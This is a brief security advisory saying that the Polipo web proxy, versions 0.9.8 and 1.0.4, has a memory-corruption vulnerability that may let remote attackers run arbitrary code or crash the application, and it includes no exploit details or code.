Polipo is prone to a memory-corruption vulnerability.

Successful exploits may allow remote attackers to execute arbitrary
code within the context of the affected application or crash the
application, denying service to legitimate users.

Polipo 0.9.8 and 1.0.4 are vulnerable; other versions may also
be affected.
